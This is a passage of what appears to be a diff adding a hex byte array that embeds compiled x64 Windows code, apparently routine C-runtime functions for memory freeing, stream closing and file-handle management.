0x00, 0xca, 0x9a, + 0x3b, 0x41, 0x8b, 0xc0, 0x48, 0x03, 0xc8, 0x4c, 0x8b, 0xc1, 0x42, 0x89, + 0x4c, 0x8d, 0xa4, 0x49, 0xc1, 0xe8, 0x20, 0x45, 0x03, 0xcf, 0x45, 0x3b, + 0xca, 0x75, 0xda, 0x45, 0x85, 0xc0, 0x74, 0x37, 0x83, 0x7d, 0xa0, 0x73, + 0x73, 0x0e, 0x8b, 0x45, 0xa0, 0x44, 0x89, 0x44, 0x85, 0xa4, 0x44, 0x01, + 0x7d, 0xa0, 0xeb, 0x23, 0x83, 0xa5, 0x40, 0x03, 0x00, 0x00, 0x00, 0x4c, + 0x8d, 0x85, 0x44, 0x03, 0x00, 0x00, 0x83, 0x65, 0xa0, 0x00, 0x48, 0x8d, + 0x4d, 0xa4, 0x45, 0x33, 0xc9, 0xba, 0xcc, 0x01, 0x00, 0x00, 0xe8, 0x2d, + 0x01, 0x00, 0x00, 0x48, 0x8d, 0x95, 0x70, 0x01, 0x00, 0x00, 0x48, 0x8d, + 0x4d, 0xa0, 0xe8, 0xad, 0xea, 0xff, 0xff, 0x44, 0x8b, 0x55, 0xa0, 0x44, + 0x8b, 0xdf, 0x45, 0x85, 0xd2, 0x4c, 0x8b, 0xc0, 0x41, 0xb9, 0x08, 0x00, + 0x00, 0x00, 0x41, 0x0f, 0x94, 0xc6, 0x44, 0x2b, 0xdb, 0xb8, 0xcd, 0xcc, + 0xcc, 0xcc, 0x41, 0xf7, 0xe0, 0xc1, 0xea, 0x03, 0x8a, 0xc2, 0xc0, 0xe0, + 0x02, 0x8d, 0x0c, 0x10, 0x02, 0xc9, 0x44, 0x2a, 0xc1, 0x41, 0x8d, 0x70, + 0x30, 0x44, 0x8b, 0xc2, 0x45, 0x3b, 0xd9, 0x73, 0x12, 0x33, 0xc9, 0x41, + 0x0f, 0xb6, 0xc6, 0x40, 0x80, 0xfe, 0x30, 0x0f, 0x44, 0xc8, 0x44, 0x8a, + 0xf1, 0xeb, 0x07, 0x41, 0x8b, 0xc1, 0x40, 0x88, 0x34, 0x18, 0x83, 0xc8, + 0xff, 0x44, 0x03, 0xc8, 0x44, 0x3b, 0xc8, 0x75, 0xb8, 0x48, 0x8b, 0xc7, + 0x44, 0x88, 0x74, 0x24, 0x30, 0x48, 0x2b, 0xc3, 0x49, 0x3b, 0xc4, 0x49, + 0x0f, 0x4f, 0xc4, 0x48, 0x03, 0xd8, 0x48, 0x3b, 0xdf, 0x0f, 0x85, 0xff, + 0xfe, 0xff, 0xff, 0x45, 0x33, 0xff, 0xc6, 0x03, 0x00, 0x44, 0x38, 0x7c, + 0x24, 0x30, 0x41, 0x0f, 0x95, 0xc7, 0xeb, 0x41, 0x4c, 0x8d, 0x05, 0xcd, + 0x88, 0x00, 0x00, 0xe9, 0x12, 0xef, 0xff, 0xff, 0x4c, 0x8d, 0x05, 0xb9, + 0x88, 0x00, 0x00, 0xe9, 0x06, 0xef, 0xff, 0xff, 0x4c, 0x8d, 0x05, 0xa5, + 0x88, 0x00, 0x00, 0xe9, 0xfa, 0xee, 0xff, 0xff, 0x48, 0x8b, 0x95, 0x50, + 0x07, 0x00, 0x00, 0x4c, 0x8d, 0x05, 0x8a, 0x88, 0x00, 0x00, 0x49, 0x8b, + 0xce, 0xe8, 0x72, 0x93, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x38, 0x45, 0x33, + 0xff, 0x80, 0x7c, 0x24, 0x70, 0x00, 0x74, 0x0a, 0x48, 0x8d, 0x4c, 0x24, + 0x68, 0xe8, 0x36, 0x28, 0x00, 0x00, 0x41, 0x8b, 0xc7, 0x48, 0x8b, 0x8d, + 0xe0, 0x06, 0x00, 0x00, 0x48, 0x33, 0xcc, 0xe8, 0x38, 0x4a, 0xff, 0xff, + 0x48, 0x81, 0xc4, 0xf0, 0x07, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, + 0x5c, 0x5f, 0x5e, 0x5b, 0x5d, 0xc3, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, + 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x33, 0xc9, 0xe8, 0x3d, + 0x9d, 0xff, 0xff, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, + 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xd9, 0x49, 0x8b, + 0xf0, 0x48, 0x8b, 0xfa, 0x4d, 0x85, 0xc9, 0x75, 0x04, 0x33, 0xc0, 0xeb, + 0x56, 0x48, 0x85, 0xc9, 0x75, 0x15, 0xe8, 0x11, 0x9e, 0xff, 0xff, 0xbb, + 0x16, 0x00, 0x00, 0x00, 0x89, 0x18, 0xe8, 0xe5, 0x9c, 0xff, 0xff, 0x8b, + 0xc3, 0xeb, 0x3c, 0x48, 0x85, 0xf6, 0x74, 0x12, 0x48, 0x3b, 0xfb, 0x72, + 0x0d, 0x4c, 0x8b, 0xc3, 0x48, 0x8b, 0xd6, 0xe8, 0x50, 0x5f, 0xff, 0xff, + 0xeb, 0xcb, 0x4c, 0x8b, 0xc7, 0x33, 0xd2, 0xe8, 0xe4, 0x5a, 0xff, 0xff, + 0x48, 0x85, 0xf6, 0x74, 0xc5, 0x48, 0x3b, 0xfb, 0x73, 0x0c, 0xe8, 0xd1, + 0x9d, 0xff, 0xff, 0xbb, 0x22, 0x00, 0x00, 0x00, 0xeb, 0xbe, 0xb8, 0x16, + 0x00, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x74, 0x24, + 0x38, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0x48, 0x83, 0xec, 0x28, + 0xe8, 0x87, 0x2e, 0x00, 0x00, 0x8b, 0xc8, 0x48, 0x83, 0xc4, 0x28, 0xe9, + 0x70, 0x2e, 0x00, 0x00, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, + 0xec, 0x30, 0x83, 0x64, 0x24, 0x20, 0x00, 0xb9, 0x08, 0x00, 0x00, 0x00, + 0xe8, 0x7b, 0xbe, 0xff, 0xff, 0x90, 0xbb, 0x03, 0x00, 0x00, 0x00, 0x89, + 0x5c, 0x24, 0x24, 0x3b, 0x1d, 0xe3, 0x13, 0x01, 0x00, 0x74, 0x6d, 0x48, + 0x63, 0xfb, 0x48, 0x8b, 0x05, 0xdf, 0x13, 0x01, 0x00, 0x48, 0x8b, 0x0c, + 0xf8, 0x48, 0x85, 0xc9, 0x75, 0x02, 0xeb, 0x54, 0x8b, 0x41, 0x14, 0xc1, + 0xe8, 0x0d, 0xa8, 0x01, 0x74, 0x19, 0x48, 0x8b, 0x0d, 0xc3, 0x13, 0x01, + 0x00, 0x48, 0x8b, 0x0c, 0xf9, 0xe8, 0x5e, 0x32, 0x00, 0x00, 0x83, 0xf8, + 0xff, 0x74, 0x04, 0xff, 0x44, 0x24, 0x20, 0x48, 0x8b, 0x05, 0xaa, 0x13, + 0x01, 0x00, 0x48, 0x8b, 0x0c, 0xf8, 0x48, 0x83, 0xc1, 0x30, 0xff, 0x15, + 0xec, 0x50, 0x00, 0x00, 0x48, 0x8b, 0x0d, 0x95, 0x13, 0x01, 0x00, 0x48, + 0x8b, 0x0c, 0xf9, 0xe8, 0x38, 0x9d, 0xff, 0xff, 0x48, 0x8b, 0x05, 0x85, + 0x13, 0x01, 0x00, 0x48, 0x83, 0x24, 0xf8, 0x00, 0xff, 0xc3, 0xeb, 0x87, + 0xb9, 0x08, 0x00, 0x00, 0x00, 0xe8, 0x46, 0xbe, 0xff, 0xff, 0x8b, 0x44, + 0x24, 0x20, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x30, 0x5f, + 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x8b, 0x41, + 0x14, 0x48, 0x8b, 0xd9, 0xc1, 0xe8, 0x0d, 0xa8, 0x01, 0x74, 0x27, 0x8b, + 0x41, 0x14, 0xc1, 0xe8, 0x06, 0xa8, 0x01, 0x74, 0x1d, 0x48, 0x8b, 0x49, + 0x08, 0xe8, 0xe6, 0x9c, 0xff, 0xff, 0xf0, 0x81, 0x63, 0x14, 0xbf, 0xfe, + 0xff, 0xff, 0x33, 0xc0, 0x48, 0x89, 0x43, 0x08, 0x48, 0x89, 0x03, 0x89, + 0x43, 0x10, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0x48, 0x83, 0xec, 0x28, + 0x83, 0xf9, 0xfe, 0x75, 0x0d, 0xe8, 0x9e, 0x9c, 0xff, 0xff, 0xc7, 0x00, + 0x09, 0x00, 0x00, 0x00, 0xeb, 0x42, 0x85, 0xc9, 0x78, 0x2e, 0x3b, 0x0d, + 0x30, 0x17, 0x01, 0x00, 0x73, 0x26, 0x48, 0x63, 0xc9, 0x48, 0x8d, 0x15, + 0x24, 0x13, 0x01, 0x00, 0x48, 0x8b, 0xc1, 0x83, 0xe1, 0x3f, 0x48, 0xc1, + 0xf8, 0x06, 0x48, 0x8d, 0x0c, 0xc9, 0x48, 0x8b, 0x04, 0xc2, 0x0f, 0xb6, + 0x44, 0xc8, 0x38, 0x83, 0xe0, 0x40, 0xeb, 0x12, 0xe8, 0x5f, 0x9c, 0xff, + 0xff, 0xc7, 0x00, 0x09, 0x00, 0x00, 0x00, 0xe8, 0x34, 0x9b, 0xff, 0xff, + 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0x48, 0x85, 0xc9, 0x0f, + 0x84, 0x00, 0x01, 0x00, 0x00, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, + 0xd9, 0x48, 0x8b, 0x49, 0x18, 0x48, 0x3b, 0x0d, 0xcc, 0x06, 0x01, 0x00, + 0x74, 0x05, 0xe8, 0x49, 0x9c, 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x20, 0x48, + 0x3b, 0x0d, 0xc2, 0x06, 0x01, 0x00, 0x74, 0x05, 0xe8, 0x37, 0x9c, 0xff, + 0xff, 0x48, 0x8b, 0x4b, 0x28, 0x48, 0x3b, 0x0d, 0xb8, 0x06, 0x01, 0x00, + 0x74, 0x05, 0xe8, 0x25, 0x9c, 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x30, 0x48, + 0x3b, 0x0d, 0xae, 0x06, 0x01, 0x00, 0x74, 0x05, 0xe8, 0x13, 0x9c, 0xff, + 0xff, 0x48, 0x8b, 0x4b, 0x38, 0x48, 0x3b, 0x0d, 0xa4, 0x06, 0x01, 0x00, + 0x74, 0x05, 0xe8, 0x01, 0x9c, 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x40, 0x48, + 0x3b, 0x0d, 0x9a, 0x06, 0x01, 0x00, 0x74, 0x05, 0xe8, 0xef, 0x9b, 0xff, + 0xff, 0x48, 0x8b, 0x4b, 0x48, 0x48, 0x3b, 0x0d, 0x90, 0x06, 0x01, 0x00, + 0x74, 0x05, 0xe8, 0xdd, 0x9b, 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x68, 0x48, + 0x3b, 0x0d, 0x9e, 0x06, 0x01, 0x00, 0x74, 0x05, 0xe8, 0xcb, 0x9b, 0xff, + 0xff, 0x48, 0x8b, 0x4b, 0x70, 0x48, 0x3b, 0x0d, 0x94, 0x06, 0x01, 0x00, + 0x74, 0x05, 0xe8, 0xb9, 0x9b, 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x78, 0x48, + 0x3b, 0x0d, 0x8a, 0x06, 0x01, 0x00, 0x74, 0x05, 0xe8, 0xa7, 0x9b, 0xff, + 0xff, 0x48, 0x8b, 0x8b, 0x80, 0x00, 0x00, 0x00, 0x48, 0x3b, 0x0d, 0x7d, + 0x06, 0x01, 0x00, 0x74, 0x05, 0xe8, 0x92, 0x9b, 0xff, 0xff, 0x48, 0x8b, + 0x8b, 0x88, 0x00, 0x00, 0x00, 0x48, 0x3b, 0x0d, 0x70, 0x06, 0x01, 0x00, + 0x74, 0x05, 0xe8, 0x7d, 0x9b, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x90, 0x00, + 0x00, 0x00, 0x48, 0x3b, 0x0d, 0x63, 0x06, 0x01, 0x00, 0x74, 0x05, 0xe8, + 0x68, 0x9b, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, + 0x48, 0x85, 0xc9, 0x74, 0x66, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, + 0xd9, 0x48, 0x8b, 0x09, 0x48, 0x3b, 0x0d, 0xad, 0x05, 0x01, 0x00, 0x74, + 0x05, 0xe8, 0x42, 0x9b, 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x08, 0x48, 0x3b, + 0x0d, 0xa3, 0x05, 0x01, 0x00, 0x74, 0x05, 0xe8, 0x30, 0x9b, 0xff, 0xff, + 0x48, 0x8b, 0x4b, 0x10, 0x48, 0x3b, 0x0d, 0x99, 0x05, 0x01, 0x00, 0x74, + 0x05, 0xe8, 0x1e, 0x9b, 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x58, 0x48, 0x3b, + 0x0d, 0xcf, 0x05, 0x01, 0x00, 0x74, 0x05, 0xe8, 0x0c, 0x9b, 0xff, 0xff, + 0x48, 0x8b, 0x4b, 0x60, 0x48, 0x3b, 0x0d, 0xc5, 0x05, 0x01, 0x00, 0x74, + 0x05, 0xe8, 0xfa, 0x9a, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, + 0x83, 0xec, 0x20, 0x33, 0xff, 0x48, 0x8d, 0x04, 0xd1, 0x48, 0x8b, 0xd9, + 0x48, 0x8b, 0xf2, 0x48, 0xb9, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, + 0x1f, 0x48, 0x23, 0xf1, 0x48, 0x3b, 0xd8, 0x48, 0x0f, 0x47, 0xf7, 0x48, + 0x85, 0xf6, 0x74, 0x14, 0x48, 0x8b, 0x0b, 0xe8, 0xb8, 0x9a, 0xff, 0xff, + 0x48, 0xff, 0xc7, 0x48, 0x8d, 0x5b, 0x08, 0x48, 0x3b, 0xfe, 0x75, 0xec, + 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x74, 0x24, 0x38, 0x48, 0x83, + 0xc4, 0x20, 0x5f, 0xc3, 0x48, 0x85, 0xc9, 0x0f, 0x84, 0xfe, 0x00, 0x00, + 0x00, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x56, + 0x48, 0x83, 0xec, 0x20, 0xbd, 0x07, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd9, + 0x8b, 0xd5, 0xe8, 0x81, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x4b, 0x38, 0x8b, + 0xd5, 0xe8, 0x76, 0xff, 0xff, 0xff, 0x8d, 0x75, 0x05, 0x8b, 0xd6, 0x48, + 0x8d, 0x4b, 0x70, 0xe8, 0x68, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x8b, 0xd0, + 0x00, 0x00, 0x00, 0x8b, 0xd6, 0xe8, 0x5a, 0xff, 0xff, 0xff, 0x48, 0x8d, + 0x8b, 0x30, 0x01, 0x00, 0x00, 0x8d, 0x55, 0xfb, 0xe8, 0x4b, 0xff, 0xff, + 0xff, 0x48, 0x8b, 0x8b, 0x40, 0x01, 0x00, 0x00, 0xe8, 0x33, 0x9a, 0xff, + 0xff, 0x48, 0x8b, 0x8b, 0x48, 0x01, 0x00, 0x00, 0xe8, 0x27, 0x9a, 0xff, + 0xff, 0x48, 0x8b, 0x8b, 0x50, 0x01, 0x00, 0x00, 0xe8, 0x1b, 0x9a, 0xff, + 0xff, 0x48, 0x8d, 0x8b, 0x60, 0x01, 0x00, 0x00, 0x8b, 0xd5, 0xe8, 0x19, + 0xff, 0xff, 0xff, 0x48, 0x8d, 0x8b, 0x98, 0x01, 0x00, 0x00, 0x8b, 0xd5, + 0xe8, 0x0b, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x8b, 0xd0, 0x01, 0x00, 0x00, + 0x8b, 0xd6, 0xe8, 0xfd, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x8b, 0x30, 0x02, + 0x00, 0x00, 0x8b, 0xd6, 0xe8, 0xef, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x8b, + 0x90, 0x02, 0x00, 0x00, 0x8d, 0x55, 0xfb, 0xe8, 0xe0, 0xfe, 0xff, 0xff, + 0x48, 0x8b, 0x8b, 0xa0, 0x02, 0x00, 0x00, 0xe8, 0xc8, 0x99, 0xff, 0xff, + 0x48, 0x8b, 0x8b, 0xa8, 0x02, 0x00, 0x00, 0xe8, 0xbc, 0x99, 0xff, 0xff, + 0x48, 0x8b, 0x8b, 0xb0, 0x02, 0x00, 0x00, 0xe8, 0xb0, 0x99, 0xff, 0xff, + 0x48, 0x8b, 0x8b, 0xb8, 0x02, 0x00, 0x00, 0xe8, 0xa4, 0x99, 0xff, 0xff, + 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x6c, 0x24, 0x38, 0x48, 0x83, + 0xc4, 0x20, 0x5e, 0xc3, 0x40, 0x55, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, + 0x41, 0x57, 0x48, 0x83, 0xec, 0x60, 0x48, 0x8d, 0x6c, 0x24, 0x30, 0x48, + 0x89, 0x5d, 0x60, 0x48, 0x89, 0x75, 0x68, 0x48, 0x89, 0x7d, 0x70, 0x48, + 0x8b, 0x05, 0xaa, 0xfb, 0x00, 0x00, 0x48, 0x33, 0xc5, 0x48, 0x89, 0x45, + 0x20, 0x44, 0x8b, 0xea, 0x45, 0x8b, 0xf9, 0x48, 0x8b, 0xd1, 0x4d, 0x8b, + 0xe0, 0x48, 0x8d, 0x4d, 0x00, 0xe8, 0xbe, 0x6a, 0xff, 0xff, 0x8b, 0xbd, + 0x88, 0x00, 0x00, 0x00, 0x85, 0xff, 0x75, 0x07, 0x48, 0x8b, 0x45, 0x08, + 0x8b, 0x78, 0x0c, 0xf7, 0x9d, 0x90, 0x00, 0x00, 0x00, 0x45, 0x8b, 0xcf, + 0x4d, 0x8b, 0xc4, 0x8b, 0xcf, 0x1b, 0xd2, 0x83, 0x64, 0x24, 0x28, 0x00, + 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x83, 0xe2, 0x08, 0xff, 0xc2, 0xe8, + 0x20, 0xd2, 0xff, 0xff, 0x4c, 0x63, 0xf0, 0x85, 0xc0, 0x75, 0x07, 0x33, + 0xff, 0xe9, 0xce, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xf6, 0x48, 0x03, 0xf6, + 0x48, 0x8d, 0x46, 0x10, 0x48, 0x3b, 0xf0, 0x48, 0x1b, 0xc9, 0x48, 0x23, + 0xc8, 0x74, 0x53, 0x48, 0x81, 0xf9, 0x00, 0x04, 0x00, 0x00, 0x77, 0x31, + 0x48, 0x8d, 0x41, 0x0f, 0x48, 0x3b, 0xc1, 0x77, 0x0a, 0x48, 0xb8, 0xf0, + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x0f, 0x48, 0x83, 0xe0, 0xf0, 0xe8, + 0xc8, 0x3e, 0x00, 0x00, 0x48, 0x2b, 0xe0, 0x48, 0x8d, 0x5c, 0x24, 0x30, + 0x48, 0x85, 0xdb, 0x74, 0x6f, 0xc7, 0x03, 0xcc, 0xcc, 0x00, 0x00, 0xeb, + 0x13, 0xe8, 0xfa, 0x98, 0xff, 0xff, 0x48, 0x8b, 0xd8, 0x48, 0x85, 0xc0, + 0x74, 0x0e, 0xc7, 0x00, 0xdd, 0xdd, 0x00, 0x00, 0x48, 0x83, 0xc3, 0x10, + 0xeb, 0x02, 0x33, 0xdb, 0x48, 0x85, 0xdb, 0x74, 0x47, 0x4c, 0x8b, 0xc6, + 0x33, 0xd2, 0x48, 0x8b, 0xcb, 0xe8, 0x76, 0x55, 0xff, 0xff, 0x45, 0x8b, + 0xcf, 0x44, 0x89, 0x74, 0x24, 0x28, 0x4d, 0x8b, 0xc4, 0x48, 0x89, 0x5c, + 0x24, 0x20, 0xba, 0x01, 0x00, 0x00, 0x00, 0x8b, 0xcf, 0xe8, 0x7a, 0xd1, + 0xff, 0xff, 0x85, 0xc0, 0x74, 0x1a, 0x4c, 0x8b, 0x8d, 0x80, 0x00, 0x00, + 0x00, 0x44, 0x8b, 0xc0, 0x48, 0x8b, 0xd3, 0x41, 0x8b, 0xcd, 0xff, 0x15, + 0x40, 0x4b, 0x00, 0x00, 0x8b, 0xf8, 0xeb, 0x02, 0x33, 0xff, 0x48, 0x85, + 0xdb, 0x74, 0x11, 0x48, 0x8d, 0x4b, 0xf0, 0x81, 0x39, 0xdd, 0xdd, 0x00, + 0x00, 0x75, 0x05, 0xe8, 0x40, 0x98, 0xff, 0xff, 0x80, 0x7d, 0x18, 0x00, + 0x74, 0x0b, 0x48, 0x8b, 0x45, 0x00, 0x83, 0xa0, 0xa8, 0x03, 0x00, 0x00, + 0xfd, 0x8b, 0xc7, 0x48, 0x8b, 0x4d, 0x20, 0x48, 0x33, 0xcd, 0xe8, 0xd5, + 0x43, 0xff, 0xff, 0x48, 0x8b, 0x5d, 0x60, 0x48, 0x8b, 0x75, 0x68, 0x48, + 0x8b, 0x7d, 0x70, 0x48, 0x8d, 0x65, 0x30, 0x41, 0x5f, 0x41, 0x5e, 0x41, + 0x5d, 0x41, 0x5c, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, + 0x48, 0x83, 0xec, 0x20, 0xba, 0x48, 0x00, 0x00, 0x00, 0x8d, 0x4a, 0xf8, + 0xe8, 0x63, 0xb9, 0xff, 0xff, 0x33, 0xf6, 0x48, 0x8b, 0xd8, 0x48, 0x85, + 0xc0, 0x74, 0x5b, 0x48, 0x8d, 0xa8, 0x00, 0x12, 0x00, 0x00, 0x48, 0x3b, + 0xc5, 0x74, 0x4c, 0x48, 0x8d, 0x78, 0x30, 0x48, 0x8d, 0x4f, 0xd0, 0x45, + 0x33, 0xc0, 0xba, 0xa0, 0x0f, 0x00, 0x00, 0xe8, 0x04, 0xb5, 0xff, 0xff, + 0x48, 0x83, 0x4f, 0xf8, 0xff, 0x48, 0x8d, 0x4f, 0x0e, 0x80, 0x67, 0x0d, + 0xf8, 0x8b, 0xc6, 0x48, 0x89, 0x37, 0xc7, 0x47, 0x08, 0x00, 0x00, 0x0a, + 0x0a, 0xc6, 0x47, 0x0c, 0x0a, 0x40, 0x88, 0x31, 0xff, 0xc0, 0x48, 0xff, + 0xc1, 0x83, 0xf8, 0x05, 0x72, 0xf3, 0x48, 0x83, 0xc7, 0x48, 0x48, 0x8d, + 0x47, 0xd0, 0x48, 0x3b, 0xc5, 0x75, 0xb8, 0x48, 0x8b, 0xf3, 0x33, 0xc9, + 0xe8, 0x77, 0x97, 0xff, 0xff, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, + 0xc6, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x8b, 0x6c, 0x24, 0x38, 0x48, + 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x85, 0xc9, 0x74, + 0x4a, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, + 0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0xb1, 0x00, 0x12, 0x00, 0x00, 0x48, + 0x8b, 0xd9, 0x48, 0x8b, 0xf9, 0x48, 0x3b, 0xce, 0x74, 0x12, 0x48, 0x8b, + 0xcf, 0xff, 0x15, 0xd1, 0x4a, 0x00, 0x00, 0x48, 0x83, 0xc7, 0x48, 0x48, + 0x3b, 0xfe, 0x75, 0xee, 0x48, 0x8b, 0xcb, 0xe8, 0x1c, 0x97, 0xff, 0xff, + 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x74, 0x24, 0x38, 0x48, 0x83, + 0xc4, 0x20, 0x5f, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, + 0x24, 0x10, 0x48, 0x89, 0x7c, 0x24, 0x18, 0x41, 0x57, 0x48, 0x83, 0xec, + 0x30, 0x8b, 0xf1, 0x81, 0xf9, 0x00, 0x20, 0x00, 0x00, 0x72, 0x29, 0xe8, + 0xc8, 0x96, 0xff, 0xff, 0xbb, 0x09, 0x00, 0x00, 0x00, 0x89, 0x18, 0xe8, + 0x9c, 0x95, 0xff, 0xff, 0x8b, 0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, + 0x8b, 0x74, 0x24, 0x48, 0x48, 0x8b, 0x7c, 0x24, 0x50, 0x48, 0x83, 0xc4, + 0x30, 0x41, 0x5f, 0xc3, 0x33, 0xff, 0x8d, 0x4f, 0x07, 0xe8, 0x8e, 0xb7, + 0xff, 0xff, 0x90, 0x8b, 0xdf, 0x8b, 0x05, 0x35, 0x11, 0x01, 0x00, 0x48, + 0x89, 0x5c, 0x24, 0x20, 0x3b, 0xf0, 0x7c, 0x36, 0x4c, 0x8d, 0x3d, 0x25, + 0x0d, 0x01, 0x00, 0x49, 0x39, 0x3c, 0xdf, 0x74, 0x02, 0xeb, 0x22, 0xe8, + 0x90, 0xfe, 0xff, 0xff, 0x49, 0x89, 0x04, 0xdf, 0x48, 0x85, 0xc0, 0x75, + 0x05, 0x8d, 0x78, 0x0c, 0xeb, 0x14, 0x8b, 0x05, 0x04, 0x11, 0x01, 0x00, + 0x83, 0xc0, 0x40, 0x89, 0x05, 0xfb, 0x10, 0x01, 0x00, 0x48, 0xff, 0xc3, + 0xeb, 0xc1, 0xb9, 0x07, 0x00, 0x00, 0x00, 0xe8, 0x90, 0xb7, 0xff, 0xff, + 0x8b, 0xc7, 0xeb, 0x8a, 0x48, 0x63, 0xd1, 0x4c, 0x8d, 0x05, 0xde, 0x0c, + 0x01, 0x00, 0x48, 0x8b, 0xc2, 0x83, 0xe2, 0x3f, 0x48, 0xc1, 0xf8, 0x06, + 0x48, 0x8d, 0x0c, 0xd2, 0x49, 0x8b, 0x04, 0xc0, 0x48, 0x8d, 0x0c, 0xc8, + 0x48, 0xff, 0x25, 0xd1, 0x49, 0x00, 0x00, 0xcc, 0x48, 0x63, 0xd1, 0x4c, + 0x8d, 0x05, 0xb6, 0x0c, 0x01, 0x00, 0x48, 0x8b, 0xc2, 0x83, 0xe2, 0x3f, + 0x48, 0xc1, 0xf8, 0x06, 0x48, 0x8d, 0x0c, 0xd2, 0x49, 0x8b, 0x04, 0xc0, + 0x48, 0x8d, 0x0c, 0xc8, 0x48, 0xff, 0x25, 0xb1, 0x49, 0x00, 0x00, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x48, 0x89, + 0x7c, 0x24, 0x18, 0x41, 0x56, 0x48, 0x83, 0xec, 0x20, 0x48, 0x63, 0xd9, + 0x85, 0xc9, 0x78, 0x72, 0x3b, 0x1d, 0x76, 0x10, 0x01, 0x00, 0x73, 0x6a, + 0x48, 0x8b, 0xc3, 0x4c, 0x8d, 0x35, 0x6a, 0x0c, 0x01, 0x00, 0x83, 0xe0, + 0x3f, 0x48, 0x8b, 0xf3, 0x48, 0xc1, 0xfe, 0x06, 0x48, 0x8d, 0x3c, 0xc0, + 0x49, 0x8b, 0x04, 0xf6, 0xf6, 0x44, 0xf8, 0x38, 0x01, 0x74, 0x47, 0x48, + 0x83, 0x7c, 0xf8, 0x28, 0xff, 0x74, 0x3f, 0xe8, 0x68, 0x2b, 0x00, 0x00, + 0x83, 0xf8, 0x01, 0x75, 0x27, 0x85, 0xdb, 0x74, 0x16, 0x2b, 0xd8, 0x74, + 0x0b, 0x3b, 0xd8, 0x75, 0x1b, 0xb9, 0xf4, 0xff, 0xff, 0xff, 0xeb, 0x0c, + 0xb9, 0xf5, 0xff, 0xff, 0xff, 0xeb, 0x05, 0xb9, 0xf6, 0xff, 0xff, 0xff, + 0x33, 0xd2, 0xff, 0x15, 0x70, 0x48, 0x00, 0x00, 0x49, 0x8b, 0x04, 0xf6, + 0x48, 0x83, 0x4c, 0xf8, 0x28, 0xff, 0x33, 0xc0, 0xeb, 0x16, 0xe8, 0x61, + 0x95, 0xff, 0xff, 0xc7, 0x00, 0x09, 0x00, 0x00, 0x00, 0xe8, 0x36, 0x95, + 0xff, 0xff, 0x83, 0x20, 0x00, 0x83, 0xc8, 0xff, 0x48, 0x8b, 0x5c, 0x24, + 0x30, 0x48, 0x8b, 0x74, 0x24, 0x38, 0x48, 0x8b, 0x7c, 0x24, 0x40, 0x48, + 0x83, 0xc4, 0x20, 0x41, 0x5e, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, + 0x83, 0xf9, 0xfe, 0x75, 0x15, 0xe8, 0x0a, 0x95, 0xff, 0xff, 0x83, 0x20, + 0x00, 0xe8, 0x22, 0x95, 0xff, 0xff, 0xc7, 0x00, 0x09, 0x00, 0x00, 0x00, + 0xeb, 0x4e, 0x85, 0xc9, 0x78, 0x32, 0x3b, 0x0d, 0xb4, 0x0f, 0x01, 0x00, + 0x73, 